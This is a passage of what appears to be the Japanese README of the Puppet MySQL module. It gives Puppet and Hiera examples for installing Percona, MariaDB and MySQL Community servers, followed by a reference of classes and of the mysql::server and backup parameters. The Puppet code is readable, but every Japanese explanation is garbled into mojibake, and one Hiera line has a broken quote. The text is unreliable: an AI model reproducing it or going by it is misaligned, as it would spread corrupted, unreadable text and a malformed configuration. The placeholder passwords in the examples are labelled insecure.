-V`ã®å‡ºåŠ›ã«è¨­å®šã•れã¦ã„ã¾ã™ã€‚リモートMySQLサーãƒã«å¯¾ã™ã‚‹æ“作を行ã†å ´åˆã¯ã€`mysqld_version`ã«å¯¾å¿œã™ã‚‹ã‚«ã‚¹ã‚¿ãƒ ãƒ•ァクトを設定ã—ãªã„ã¨æ­£å¸¸ã«å‹•作ã—ãªã„å¯èƒ½æ€§ãŒã‚りã¾ã™ã€‚ + +リモートサーãƒã«å¯¾ã™ã‚‹æ“作を行ã†éš›ã«ã¯ã€Puppetマニフェスト内ã§`mysql::server`クラスを使用*ã—ãªã„*ã§ãã ã•ã„。 + +### ãƒ‘ã‚¹ãƒ¯ãƒ¼ãƒ‰ã®æŒ‡å®š + +パスワードã¯ã€ãƒ—レーンテキストã¨ã—ã¦æ¸¡ã›ã‚‹ã ã‘ã§ãªãã€æ¬¡ã®ã‚ˆã†ã«ãƒãƒƒã‚·ãƒ¥ã¨ã—ã¦å…¥åŠ›ã™ã‚‹ã“ã¨ã‚‚ã§ãã¾ã™ã€‚ + +```puppet +mysql::db { 'mydb': + user => 'myuser', + password => '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4', + host => 'localhost', + grant => ['SELECT', 'UPDATE'], +} +``` + +### CentOSã¸ã®Perconaサーãƒã®ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ« + +次ã®ä¾‹ã¯ã€CentOSシステムã¸ã®Perconaサーãƒã®æœ€å°é™ã®ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«æ–¹æ³•を示ã—ã¾ã™ã€‚ +ã“ã®ä¾‹ã§ã¯ã€Perconaサーãƒã€ã‚¯ãƒ©ã‚¤ã‚¢ãƒ³ãƒˆã€ãƒã‚¤ãƒ³ãƒ‡ã‚£ãƒ³ã‚°(Perlã¨Pythonã®ãƒã‚¤ãƒ³ãƒ‡ã‚£ãƒ³ã‚°ã‚’å«ã‚€)ãŒã‚»ãƒƒãƒˆã‚¢ãƒƒãƒ—ã•れã¾ã™ã€‚ã“ã®æ–¹æ³•をカスタマイズã—ã¦å¿…è¦ã«å¿œã˜ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã‚’æ›´æ–°ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚ + +ã“ã®æ–¹æ³•ã¯ã€Puppet 4.4/CentOS 7/Perconaサーãƒ5.7ã§ãƒ†ã‚¹ãƒˆã•れã¦ã„ã¾ã™ã€‚ + +**注æ„:** yumレãƒã‚¸ãƒˆãƒªã®ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã¯ã“ã®ãƒ‘ッケージã«ã¯å«ã¾ã‚Œã¦ã„ã¾ã›ã‚“。 +ã“ã®ä¾‹ã¯ã€ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã®è©³ç´°ã‚’示ã—ãŸã‚‚ã®ã«éŽãŽã¾ã›ã‚“。 + +```puppet +yumrepo { 'percona': + descr => 'CentOS $releasever - Percona', + baseurl => 'http://repo.percona.com/centos/$releasever/os/$basearch/', + gpgkey => 'http://www.percona.com/downloads/percona-release/RPM-GPG-KEY-percona', + enabled => 1, + gpgcheck => 1, +} + +class {'mysql::server': + package_name => 'Percona-Server-server-57', + package_ensure => '5.7.11-4.1.el7', + service_name => 'mysql', + config_file => '/etc/my.cnf', + includedir => '/etc/my.cnf.d', + root_password => 'PutYourOwnPwdHere', + override_options => { + mysqld => { + log-error => '/var/log/mysqld.log', + pid-file => '/var/run/mysqld/mysqld.pid', + }, + mysqld_safe => { + log-error => '/var/log/mysqld.log', + }, + } +} + +# 注æ„:Percona-Server-server-57をインストールã™ã‚‹ã¨Percona-Server-client-57もインストールã•れã¾ã™ã€‚ +# 次ã®ä¾‹ã¯ã€Percona MySQLクライアントをå˜ç‹¬ã§ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã™ã‚‹æ–¹æ³•を示ã—ã¾ã™ã€‚ +class {'mysql::client': + package_name => 'Percona-Server-client-57', + package_ensure => '5.7.11-4.1.el7', +} + +# 通常ã€ä»¥ä¸‹ã®ãƒ‘ッケージã¯Percona-Server-server-57ã¨ã¨ã‚‚ã«ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã•れã¾ã™ã€‚ +# ãƒã‚¤ãƒ³ãƒ‡ã‚£ãƒ³ã‚°ã‚‚インストールã™ã‚‹å¿…è¦ãŒã‚ã‚‹å ´åˆã¯ã€ã“ã®ã‚³ãƒ¼ãƒ‰ã§ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã§ãã¾ã™ã€‚ +class { 'mysql::bindings': + client_dev_package_name => 'Percona-Server-shared-57', + client_dev_package_ensure => '5.7.11-4.1.el7', + client_dev => true, + daemon_dev_package_name => 'Percona-Server-devel-57', + daemon_dev_package_ensure => '5.7.11-4.1.el7', + daemon_dev => true, + perl_enable => true, + perl_package_name => 'perl-DBD-MySQL', + python_enable => true, + python_package_name => 'MySQL-python', +} + +# ä¾å­˜é–¢ä¿‚ã®å®šç¾© +Yumrepo['percona']-> +Class['mysql::server'] + +Yumrepo['percona']-> +Class['mysql::client'] + +Yumrepo['percona']-> +Class['mysql::bindings'] +``` + +### Ubuntuã¸ã®MariaDBã®ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ« + +#### オプション:MariaDBã®å…¬å¼ã®ãƒ¬ãƒã‚¸ãƒˆãƒªã®ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ« + +次ã®ä¾‹ã§ã¯ã€distroレãƒã‚¸ãƒˆãƒªã§ãªãå…¬å¼ã®MariaDBレãƒã‚¸ãƒˆãƒªã®æœ€æ–°ã®å®‰å®šç‰ˆ(ç¾åœ¨10.1)を使用ã—ã¦ã„ã¾ã™ã€‚代ã‚りã«ã€Ubuntuレãƒã‚¸ãƒˆãƒªã®ãƒ‘ッケージを使用ã™ã‚‹ã“ã¨ã‚‚ã§ãã¾ã™ã€‚å¿…è¦ã«å¿œã˜ãŸæ­£ã—ã„ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã®ãƒ¬ãƒã‚¸ãƒˆãƒªã‚’使用ã—ã¦ãã ã•ã„。 + +**注æ„:** `sfo1.mirrors.digitalocean.com`ã¯åˆ©ç”¨å¯èƒ½ãªå¤šãã®ãƒŸãƒ©ãƒ¼ã®ä¸€ä¾‹ã§ã‚りã€å…¬å¼ã®ãƒŸãƒ©ãƒ¼ã§ã‚れã°ã„ãšã‚Œã‚‚使用ã§ãã¾ã™ã€‚ + +```puppet +include apt + +apt::source { 'mariadb': + location => 'http://sfo1.mirrors.digitalocean.com/mariadb/repo/10.1/ubuntu', + release => $::lsbdistcodename, + repos => 'main', + key => { + id => '199369E5404BD5FC7D2FE43BCBCB082A1BB943DB', + server => 'hkp://keyserver.ubuntu.com:80', + }, + include => { + src => false, + deb => true, + }, +} +``` + +#### MariaDBサーãƒã®ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ« + +次ã®ä¾‹ã§ã¯ã€Ubuntu Trustyã¸ã®MariaDBサーãƒã®ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«æ–¹æ³•を示ã—ã¦ã„ã¾ã™ã€‚`my.cnf`ã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã¨ãƒ‘ラメータã¯ã€å¿…è¦ã«å¿œã˜ã¦èª¿æ•´ã—ã¦ãã ã•ã„。`my.cnf`ã®ãƒ‘ラメータã¯ã™ã¹ã¦`override_options`パラメータを使用ã—ã¦å®šç¾©ã§ãã¾ã™ã€‚ + +フォルダ`/var/log/mysql`ã¨`/var/run/mysqld`ã¯è‡ªå‹•çš„ã«ä½œæˆã•れã¾ã™ãŒã€ä»–ã®ã‚«ã‚¹ã‚¿ãƒ ãƒ•ォルダを使用ã™ã‚‹å ´åˆã¯ã€ãれらãŒã‚³ãƒ¼ãƒ‰ã®å¿…é ˆè¦ä»¶ã«ãªã‚Šã¾ã™ã€‚ + +以下ã«ç¤ºã™å€¤ã¯ã™ã¹ã¦ã€æœ€å°é™ã®æ§‹æˆã«ã™ã‚‹å ´åˆã®ä¾‹ã§ã™ã€‚ + +å¿…è¦ãªãƒ‘ッケージã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã‚’ã€`package_ensure`ãƒ‘ãƒ©ãƒ¡ãƒ¼ã‚¿ã§æŒ‡å®šã—ã¦ãã ã•ã„。 + +```puppet +class {'::mysql::server': + package_name => 'mariadb-server', + package_ensure => '10.1.14+maria-1~trusty', + service_name => 'mysql', + root_password => 'AVeryStrongPasswordUShouldEncrypt!', + override_options => { + mysqld => { + 'log-error' => '/var/log/mysql/mariadb.log', + 'pid-file' => '/var/run/mysqld/mysqld.pid', + }, + mysqld_safe => { + 'log-error' => '/var/log/mysql/mariadb.log', + }, + } +} + +# ä¾å­˜é–¢ä¿‚ã®ç®¡ç†ã€‚レãƒã‚¸ãƒˆãƒªã‚’インストールã™ã‚‹å ´åˆã¯ +# ã“ã®ä¾‹ã®å‰ã®ã‚¹ãƒ†ãƒƒãƒ—ã§ç¤ºã•れã¦ã„る部分ã ã‘を使用ã—ã¦ãã ã•ã„。 +Apt::Source['mariadb'] ~> +Class['apt::update'] -> +Class['::mysql::server'] + +``` + +#### MariaDBクライアントã®ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ« + +次ã®ä¾‹ã¯ã€MariaDBクライアントã¨ã™ã¹ã¦ã®ãƒã‚¤ãƒ³ãƒ‡ã‚£ãƒ³ã‚°ã‚’一度ã«ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã™ã‚‹æ–¹æ³•を示ã—ã¾ã™ã€‚ã“ã®ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«æ“作ã¯ã€ã‚µãƒ¼ãƒã®ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«æ“作ã¨ã¯åˆ¥ã«è¡Œã†ã“ã¨ãŒã§ãã¾ã™ã€‚ + +å¿…è¦ãªãƒ‘ッケージã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã‚’ã€`package_ensure`ãƒ‘ãƒ©ãƒ¡ãƒ¼ã‚¿ã§æŒ‡å®šã—ã¦ãã ã•ã„。 + +```puppet +class {'::mysql::client': + package_name => 'mariadb-client', + package_ensure => '10.1.14+maria-1~trusty', + bindings_enable => true, +} + +# ä¾å­˜é–¢ä¿‚ã®ç®¡ç†ã€‚レãƒã‚¸ãƒˆãƒªã‚’インストールã™ã‚‹å ´åˆã¯ã“ã®ä¾‹ã®å‰ã®ã‚¹ãƒ†ãƒƒãƒ—ã§ç¤ºã•れã¦ã„る部分ã ã‘を使用ã—ã¦ãã ã•ã„。 +Apt::Source['mariadb'] ~> +Class['apt::update'] -> +Class['::mysql::client'] +``` + +### CentOSã¸ã®MySQL Communityサーãƒã®ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ« + +MySQLモジュールãŠã‚ˆã³Hieraを使用ã—ã¦ã€MySQL Communityサーãƒãƒ¼ã‚’CentOSã«ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚ã“ã®ä¾‹ã¯ä»¥ä¸‹ã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã§ãƒ†ã‚¹ãƒˆæ¸ˆã¿ã§ã™ã€‚ + +* MySQL Community Server 5.6 +* Centos 7.3 +* Hieraを使用ã—ãŸPuppet 3.8.7 +* puppetlabs-mysqlモジュールv3.9.0 + +Puppetã§ï¼š + +```puppet +include ::mysql::server + +create_resources(yumrepo, hiera('yumrepo', {})) + +Yumrepo['repo.mysql.com'] -> Anchor['mysql::server::start'] +Yumrepo['repo.mysql.com'] -> Package['mysql_client'] + +create_resources(mysql::db, hiera('mysql::server::db', {})) +``` + +Hieraã§ï¼š + +```yaml +--- + +# Centos 7.3 +yumrepo: + 'repo.mysql.com': + baseurl: "http://repo.mysql.com/yum/mysql-5.6-community/el/%{::operatingsystemmajrelease}/$basearch/" + descr: 'repo.mysql.com' + enabled: 1 + gpgcheck: true + gpgkey: 'http://repo.mysql.com/RPM-GPG-KEY-mysql' + +mysql::client::package_name: "mysql-community-client" # é©åˆ‡ãªMySQLå°Žå…¥ã®ãŸã‚ã«å¿…è¦ +mysql::server::package_name: "mysql-community-server" #é©åˆ‡ãªMySQLå°Žå…¥ã®ãŸã‚ã«å¿…è¦ +mysql::server::package_ensure: 'installed' #ã“ã“ã§ã¯ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã‚’指定ã—ãªã„ã§ãã ã•ã„。残念ãªãŒã‚‰ã€ãƒ‘ッケージãŒã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã•れã¦ã„るエラーã§yumã¯å¤±æ•—ã—ã¾ã—ãŸã€‚ +mysql::server::root_password: "change_me_i_am_insecure" +mysql::server::manage_config_file: true +mysql::server::service_name: 'mysqld' # Puppetモジュールã«å¿…è¦ +mysql::server::override_options: + 'mysqld': + 'bind-address': '127.0.0.1' + 'log-error': /var/log/mysqld.log' # é©åˆ‡ãªMySQLå°Žå…¥ã®ãŸã‚ã«å¿…è¦ + 'mysqld_safe': + 'log-error': '/var/log/mysqld.log' # é©åˆ‡ãªMySQLå°Žå…¥ã®ãŸã‚ã«å¿…è¦ + +# データベース+アクセスã§ãã‚‹ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã€æš—å·åŒ–ã•れã¦ã„ãªã„ãƒ‘ã‚¹ãƒ¯ãƒ¼ãƒ‰ã‚’ä½œæˆ +mysql::server::db: + "dev": + user: "dev" + password: "devpass" + host: "127.0.0.1" + grant: + - "ALL" + +``` + + +## å‚考 + +### クラス + +#### パブリッククラス + +* [`mysql::server`](#mysqlserver):MySQLをインストールã—ã¦è¨­å®šã—ã¾ã™ã€‚ +* [`mysql::server::monitor`](#mysqlservermonitor):モニタã™ã‚‹ãƒ¦ãƒ¼ã‚¶ã‚’セットアップã—ã¾ã™ã€‚ +* [`mysql::server::mysqltuner`](#mysqlservermysqltuner):MySQL tunerスクリプトをインストールã—ã¾ã™ã€‚ +* [`mysql::server::backup`](#mysqlserverbackup):cronを使用ã—ã¦MySQLãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—をセットアップã—ã¾ã™ã€‚ +* [`mysql::bindings`](#mysqlbindings):ã•ã¾ã–ã¾ãªMySQL言語ãƒã‚¤ãƒ³ãƒ‡ã‚£ãƒ³ã‚°ã‚’インストールã—ã¾ã™ã€‚ +* [`mysql::client`](#mysqlclient):MySQLクライアントをインストールã—ã¾ã™(サーãƒä»¥å¤–)。 + +#### プライベートクラス + +* `mysql::server::install`:パッケージをインストールã—ã¾ã™ã€‚ +* `mysql::server::installdb`:mysqldデータディレクトリ(/var/lib/mysqlãªã©)ã®ã‚»ãƒƒãƒˆã‚¢ãƒƒãƒ—を実行ã—ã¾ã™ã€‚ +* `mysql::server::config`:MySQLを設定ã—ã¾ã™ã€‚ +* `mysql::server::service`:サービスを管ç†ã—ã¾ã™ã€‚ +* `mysql::server::account_security`:デフォルトã®MySQLアカウントを削除ã—ã¾ã™ã€‚ +* `mysql::server::root_password`:MySQLã®ãƒ«ãƒ¼ãƒˆãƒ‘スワードを設定ã—ã¾ã™ã€‚ +* `mysql::server::providers`:ユーザã€GRANT権é™ã€ãƒ‡ãƒ¼ã‚¿ãƒ™ãƒ¼ã‚¹ã‚’作æˆã—ã¾ã™ã€‚ +* `mysql::bindings::client_dev`:MySQLクライアント開発パッケージをインストールã—ã¾ã™ã€‚ +* `mysql::bindings::daemon_dev`:MySQLデーモン開発パッケージをインストールã—ã¾ã™ã€‚ +* `mysql::bindings::java`:javaãƒã‚¤ãƒ³ãƒ‡ã‚£ãƒ³ã‚°ã‚’インストールã—ã¾ã™ã€‚ +* `mysql::bindings::perl`:Perlãƒã‚¤ãƒ³ãƒ‡ã‚£ãƒ³ã‚°ã‚’インストールã—ã¾ã™ã€‚ +* `mysql::bindings::php`:PHPãƒã‚¤ãƒ³ãƒ‡ã‚£ãƒ³ã‚°ã‚’インストールã—ã¾ã™ã€‚ +* `mysql::bindings::python`:Pythonãƒã‚¤ãƒ³ãƒ‡ã‚£ãƒ³ã‚°ã‚’インストールã—ã¾ã™ã€‚ +* `mysql::bindings::ruby`:Rubyãƒã‚¤ãƒ³ãƒ‡ã‚£ãƒ³ã‚°ã‚’インストールã—ã¾ã™ã€‚ +* `mysql::client::install`:MySQLクライアントをインストールã—ã¾ã™ã€‚ +* `mysql::backup::mysqldump`:mysqldumpã®ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—を実行ã—ã¾ã™ã€‚ +* `mysql::backup::mysqlbackup`:Oracle MySQL Enterprise Backupを使用ã—ã¦ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—を実行ã—ã¾ã™ã€‚ +* `mysql::backup::xtrabackup`:Perconaã®XtraBackupを使用ã—ã¦ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—を実行ã—ã¾ã™ã€‚ + +### パラメータ + +#### mysql::server + +##### `create_root_user` + +ルートユーザを作æˆã™ã‚‹ã‹ã©ã†ã‹ã‚’指定ã—ã¾ã™ã€‚ + +有効ãªå€¤ï¼š`true`ã€`false`。 + +デフォルト値:`true`。 + +ã“ã®ãƒ‘ラメータã¯ã€Galeraã§ã‚¯ãƒ©ã‚¹ã‚¿ã‚’セットアップã™ã‚‹å ´åˆã«å½¹ç«‹ã¡ã¾ã™ã€‚ルートユーザã®ä½œæˆãŒå¿…è¦ãªã®ã¯ä¸€åº¦ã ã‘ã§ã™ã€‚ã“ã®ãƒ‘ラメータをã€1ã¤ã®ãƒŽãƒ¼ãƒ‰ã«å¯¾ã—trueã«è¨­å®šã—ã€ä»–ã®ã™ã¹ã¦ã®ãƒŽãƒ¼ãƒ‰ã«å¯¾ã—ã¦falseã«è¨­å®šã§ãã¾ã™ã€‚ + +##### `create_root_my_cnf` + +`/root/.my.cnf`を作æˆã™ã‚‹ã‹ã©ã†ã‹ã‚’指定ã—ã¾ã™ã€‚ + +有効ãªå€¤ï¼š`true`ã€`false`。 + +デフォルト値:`true`。 + +`create_root_my_cnf`を使用ã™ã‚‹ã¨`create_root_user`ã«å·¦å³ã•れãšã«`/root/.my.cnf`を作æˆã§ãã¾ã™ã€‚ã™ã¹ã¦ã®ãƒŽãƒ¼ãƒ‰ã«`/root/.my.cnf`ãŒå­˜åœ¨ã™ã‚‹ã‚ˆã†ã«ã—ãŸã„å ´åˆã«ã€Galeraã§ã“ã®æ©Ÿèƒ½ã‚’使用ã—ã¦ã‚¯ãƒ©ã‚¹ã‚¿ã‚’セットアップã§ãã¾ã™ã€‚ + +##### `root_password` + +MySQLã®ãƒ«ãƒ¼ãƒˆãƒ‘スワード。Puppetã¯ã€ã“ã®ãƒ‘ラメータを使用ã—ã¦ã€ãƒ«ãƒ¼ãƒˆãƒ‘スワードã®è¨­å®šã‚„`/root/.my.cnf`ã®æ›´æ–°ã‚’試ã¿ã¾ã™ã€‚ + +`create_root_user`ã¾ãŸã¯`create_root_my_cnf`ãŒtrueã®å ´åˆã«ã“ã®ãƒ‘ラメータãŒå¿…è¦ã§ã™ã€‚`root_password`ãŒ'UNSET'ã®å ´åˆã¯`create_root_user`ã¨`create_root_my_cnf`ãŒfalseã«ãªã‚Šã¾ã™(MySQLルートユーザã¨`/root/.my.cnf`ãŒä½œæˆã•れã¾ã›ã‚“)。 + +パスワード変更ã¯ã‚µãƒãƒ¼ãƒˆã•れã¾ã™ãŒã€`/root/.my.cnf`ã«æ—§ãƒ‘スワードãŒè¨­å®šã•れã¦ã„ã‚‹å¿…è¦ãŒã‚りã¾ã™ã€‚実際ã«ã¯ã€Puppetã¯`/root/.my.cnf`ã«è¨­å®šã•れã¦ã„る旧パスワードを使用ã—ã¦MySQLã§æ–°ã—ã„パスワードを設定ã—ã¦ã‹ã‚‰ã€`/root/.my.cnf`ã‚’æ–°ã—ã„ãƒ‘ã‚¹ãƒ¯ãƒ¼ãƒ‰ã§æ›´æ–°ã—ã¾ã™ã€‚ + +##### `old_root_password` + +ç¾åœ¨ã€ã“ã®ãƒ‘ラメータã§ã¯ä½•も行ã‚ãšã€ä¸‹ä½äº’æ›æ€§ã‚’確ä¿ã™ã‚‹ãŸã‚ã ã‘ã«å­˜åœ¨ã—ã¾ã™ã€‚ルートパスワードã®å¤‰æ›´ã«ã¤ã„ã¦ã®è©³ç´°ã¯ã€ä¸Šè¨˜ã®`root_password`パラメータã®èª¬æ˜Žã‚’å‚ç…§ã—ã¦ãã ã•ã„。 + +##### `override_options` + +MySQLã«æ¸¡ã™ã‚ªãƒ¼ãƒãƒ¼ãƒ©ã‚¤ãƒ‰ã‚ªãƒ—ションを指定ã—ã¾ã™ã€‚構造ã¯my.cnfファイルã®ãƒãƒƒã‚·ãƒ¥ã¨åŒæ§˜ã§ã™ã€‚ + +```puppet +$override_options = { + 'section' => { + 'item' => 'thing', + } +} +``` + +使用方法ã®è©³ç´°ã¯ã€ä¸Šè¨˜ã®[**サーãƒã‚ªãƒ—ションã®ã‚«ã‚¹ã‚¿ãƒžã‚¤ã‚º**](#サーãƒã‚ªãƒ—ションã®ã‚«ã‚¹ã‚¿ãƒžã‚¤ã‚º)ã‚’å‚ç…§ã—ã¦ãã ã•ã„。 + +##### `config_file` + +MySQL設定ファイルã®å ´æ‰€ã‚’示ã™ãƒ‘ス。 + +##### `manage_config_file` + +MySQL設定ファイルを管ç†ã™ã‚‹ã‹ã©ã†ã‹ã‚’指定ã—ã¾ã™ã€‚ + +有効ãªå€¤ï¼š`true`ã€`false`。 + +デフォルト値:`true`。 + +##### `includedir` + +カスタム設定オーãƒãƒ¼ãƒ©ã‚¤ãƒ‰ç”¨ã®!includedirã®å ´æ‰€ã‚’示ã™ãƒ‘ス。 + +##### `install_options` + +管ç†å¯¾è±¡ã®ãƒ‘ッケージリソースã«[install_options](https://docs.puppetlabs.com/references/latest/type.html#package-attribute-install_options)é…列を渡ã—ã¾ã™ã€‚指定ã•れã¦ã„るパッケージマãƒãƒ¼ã‚¸ãƒ£ã«å¯¾å¿œã™ã‚‹æ­£ã—ã„オプションを渡ã™å¿…è¦ãŒã‚りã¾ã™ã€‚ + +##### `purge_conf_dir` + +`includedir`ディレクトリをパージã™ã‚‹ã‹ã©ã†ã‹ã‚’指定ã—ã¾ã™ã€‚ + +有効ãªå€¤ï¼š`true`ã€`false`。 + +デフォルト値:`false`。 + +##### `restart` + +何らã‹ã®å¤‰æ›´ãŒã‚ã£ãŸå ´åˆã«ã‚µãƒ¼ãƒ“スをå†èµ·å‹•ã™ã‚‹ã‹ã©ã†ã‹ã‚’指定ã—ã¾ã™ã€‚ + +有効ãªå€¤ï¼š`true`ã€`false`。 + +デフォルト値:`false`。 + +##### `root_group` + +ルートã«ä½¿ç”¨ã™ã‚‹ã‚°ãƒ«ãƒ¼ãƒ—ã®åå‰ã€‚グループåã¾ãŸã¯ã‚°ãƒ«ãƒ¼ãƒ—IDã®ã„ãšã‚Œã‹ã§ã™ã€‚詳細ã«ã¤ã„ã¦ã¯[`group`ファイルã®å±žæ€§](https://docs.puppetlabs.com/references/latest/type.html#file-attribute-group)ã‚’å‚ç…§ã—ã¦ãã ã•ã„。 + +##### `mysql_group` + +MySQLデーモンユーザã®ã‚°ãƒ«ãƒ¼ãƒ—ã®åå‰ã€‚グループåã¾ãŸã¯ã‚°ãƒ«ãƒ¼ãƒ—IDã®ã„ãšã‚Œã‹ã§ã™ã€‚詳細ã«ã¤ã„ã¦ã¯[`group`ファイルã®å±žæ€§](https://docs.puppetlabs.com/references/latest/type.html#file-attribute-group)ã‚’å‚ç…§ã—ã¦ãã ã•ã„。 + +##### `package_ensure` + +パッケージãŒå­˜åœ¨ã™ã‚‹ã‹ã©ã†ã‹ã€ã¾ãŸã¯ãƒ‘ッケージãŒç‰¹å®šã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã§ãªã‘れã°ãªã‚‰ãªã„ã‹ã©ã†ã‹ã‚’指定ã—ã¾ã™ã€‚ + +有効ãªå€¤ï¼š'present'ã€'absent'ã€ã¾ãŸã¯'x.y.z'。 + +デフォルト値:'present'。 + +##### `package_manage` + +MySQLサーãƒãƒ‘ッケージを管ç†ã™ã‚‹ã‹ã©ã†ã‹ã‚’指定ã—ã¾ã™ã€‚ + +デフォルト値:`true`。 + +##### `package_name` + +インストールã™ã‚‹MySQLサーãƒãƒ‘ッケージã®åå‰ã€‚ + +##### `remove_default_accounts` + +`mysql::server::account_security`を自動的ã«å«ã‚ã‚‹ã‹ã©ã†ã‹ã‚’指定ã—ã¾ã™ã€‚ + +有効ãªå€¤ï¼š`true`ã€`false`。 + +デフォルト値:`false`。 + +##### `service_enabled` + +ã‚µãƒ¼ãƒ“ã‚¹ã®æœ‰åŠ¹åŒ–ã‚’æŒ‡å®šã—ã¾ã™ã€‚ + +有効ãªå€¤ï¼š`true`ã€`false`。 + +デフォルト値:`true`。 + +##### `service_manage` + +サービスを管ç†ã™ã‚‹ã‹ã©ã†ã‹ã‚’指定ã—ã¾ã™ã€‚ + +有効ãªå€¤ï¼š`true`ã€`false`。 + +デフォルト値:`true`。 + +##### `service_name` + +MySQLサーãƒã‚µãƒ¼ãƒ“スã®åå‰ã€‚ + +デフォルト値ã¯OSã«ã‚ˆã‚Šç•°ãªã‚Šã€'params.pp'ã«å®šç¾©ã•れã¦ã„ã¾ã™ã€‚ + +##### `service_provider` + +サービスã®ç®¡ç†ã«ä½¿ç”¨ã™ã‚‹ãƒ—ロãƒã‚¤ãƒ€ã€‚ + +Ubuntuã®å ´åˆã®ãƒ‡ãƒ•ォルト値ã¯'upstart'ã€Ubuntu以外ã®å ´åˆã®ãƒ‡ãƒ•ォルト値ã¯å®šç¾©ã•れã¦ã„ã¾ã›ã‚“。 + +##### `users` + +作æˆã™ã‚‹ãƒ¦ãƒ¼ã‚¶ã®ãƒãƒƒã‚·ãƒ¥(オプション)。[mysql_user](#mysql_user)ã«æ¸¡ã•れã¾ã™ã€‚ + +```puppet +users => { + 'someuser@localhost' => { + ensure => 'present', + max_connections_per_hour => '0', + max_queries_per_hour => '0', + max_updates_per_hour => '0', + max_user_connections => '0', + password_hash => '*F3A2A51A9B0F2BE2468926B4132313728C250DBF', + tls_options => ['NONE'], + }, +} +``` + +##### `grants` + +[mysql_grant](#mysql_grant)ã«æ¸¡ã•れるGRANT権é™ã®ãƒãƒƒã‚·ãƒ¥(オプション)。 + +```puppet +grants => { + 'someuser@localhost/somedb.*' => { + ensure => 'present', + options => ['GRANT'], + privileges => ['SELECT', 'INSERT', 'UPDATE', 'DELETE'], + table => 'somedb.*', + user => 'someuser@localhost', + }, +} +``` + +##### `databases` + +作æˆã•れるデータベースã®ãƒãƒƒã‚·ãƒ¥(オプション)。[mysql_database](#mysql_database)ã«æ¸¡ã•れã¾ã™ã€‚ + +```puppet +databases => { + 'somedb' => { + ensure => 'present', + charset => 'utf8', + }, +} +``` + +#### mysql::server::backup + +##### `backupuser` + +ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—用ã«ä½œæˆã™ã‚‹MySQLユーザ。 + +##### `backuppassword` + +ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—用ã®MySQLユーザパスワード。 + +##### `backupdir` + +ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—ã‚’ä¿å­˜ã™ã‚‹ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã€‚ + +##### `backupdirmode` + +ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—ディレクトリã«é©ç”¨ã•れるパーミッション。ã“ã®ãƒ‘ラメータã¯`file`リソースã«ç›´æŽ¥æ¸¡ã•れã¾ã™ã€‚ + +##### `backupdirowner` + +ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã®æ‰€æœ‰è€…。ã“ã®ãƒ‘ラメータã¯`file`リソースã«ç›´æŽ¥æ¸¡ã•れã¾ã™ã€‚ + +##### `backupdirgroup` + +ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—ディレクトリã®ã‚°ãƒ«ãƒ¼ãƒ—所有者。ã“ã®ãƒ‘ラメータã¯`file`リソースã«ç›´æŽ¥æ¸¡ã•れã¾ã™ã€‚ + +##### `backupcompress` + +ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—を圧縮ã™ã‚‹ã‹ã©ã†ã‹ã‚’指定ã—ã¾ã™ã€‚ + +有効ãªå€¤ï¼š`true`ã€`false`。 + +デフォルト値:`true`。 + +##### `backuprotate` + +ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—ã‚’ä¿æŒã™ã‚‹æ—¥æ•°ã€‚ + +有効ãªå€¤ï¼šæ•´æ•°å€¤ã€‚ + +デフォルト値:30。 + +##### `delete_before_dump` + +ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—å‰ã«å¤ã„.sqlファイルを削除ã™ã‚‹ã‹ã©ã†ã‹ã‚’設定ã—ã¾ã™ã€‚trueã«è¨­å®šã™ã‚‹ã¨å¤ã„ファイルãŒãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—å‰ã«å‰Šé™¤ã•れã€falseã«è¨­å®šã™ã‚‹ã¨ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—後ã«å‰Šé™¤ã•れã¾ã™ã€‚ + +有効ãªå€¤ï¼š`true`ã€`false`。 + +デフォルト値:`false`。 + +##### `backupdatabases` + 